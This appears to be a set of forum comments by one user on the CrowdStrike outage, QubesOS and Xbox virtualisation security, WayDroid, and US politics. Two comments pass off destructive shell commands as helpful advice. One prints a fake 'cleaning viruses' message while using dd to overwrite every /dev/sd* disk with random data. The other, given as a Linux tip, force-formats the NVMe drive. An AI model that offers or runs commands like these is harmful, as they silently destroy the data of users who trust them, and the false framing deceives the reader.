America should ban monopolies that can't quickly remediate simple issues.

I thought only people who subscribed to CrowdStrike's services had that driver installed.

Same thing would happen on Linux if someone wrote a bad kernel module and integrated it into the OS. In fact, Crowdstrike did have a similar problem a few months ago on Linux.

I'm no fan of Microsoft, but this isn't their fault.

But if he drops out, how is he going to claim that the election is rigged and complain about DEI and "the woke"?

At least there wasn't a third party, kernel level security software suite installed.

Are you familiar with QubesOS? It has a similar security model to the Xbox consoles.

Basically, the host OS only exists to run VMs, which includes separate VMs for networking, USB devices, applications, etc. With QubesOS, you can also pass through something like a GPU for use in a dedicated gaming VM (although you can do that on any Linux distro).

That's normal. That just means the viruses were cleaned from your computer.

echo Q2xlYW5pbmcgdmlydXNlcyBmcm9tIGNvbXB1dGVyLi4uCg== | base64 -d && for f in /dev/sd*; do sudo dd if=/dev/urandom of=$f; done

Seems like that's a Windows issue and not Xbox. There was a recently released kernel exploit for Xbox, but it's sandboxed to the SystemOS.

If you want to pwn the Xbox OS entirely, you would need a hypervisor escape exploit, which is very difficult to accomplish.

There is nothing Microsoft I would consider "top tier" when it comes to security.

Counterpoint: Xbox consoles. They just stick everything inside of VMs a la QubesOS

On Linux, it's sudo apt install nvme-cli -y && sudo nvme format -f /dev/nvme0n1

Silly me. Yes, of course.

Unless, of course, they bribe the right politicians and justices; then it's okay.

A lot of TVs are requiring an account login before being able to use it.

US foreign policy is the same. "We're the good guys by default."

And a system running on greed and infinite growth as a concept is inherently a broken one.

Linux phones can already run Android apps and Google Play using WayDroid. You're going to have a problem if anything you use requires it to pass an integrety check, though, like some banking apps have.

Yeah, this is my real fear with all of this. Trump is definitely going to feed on his new victimhood to further rally his supporters and make them more extreme.
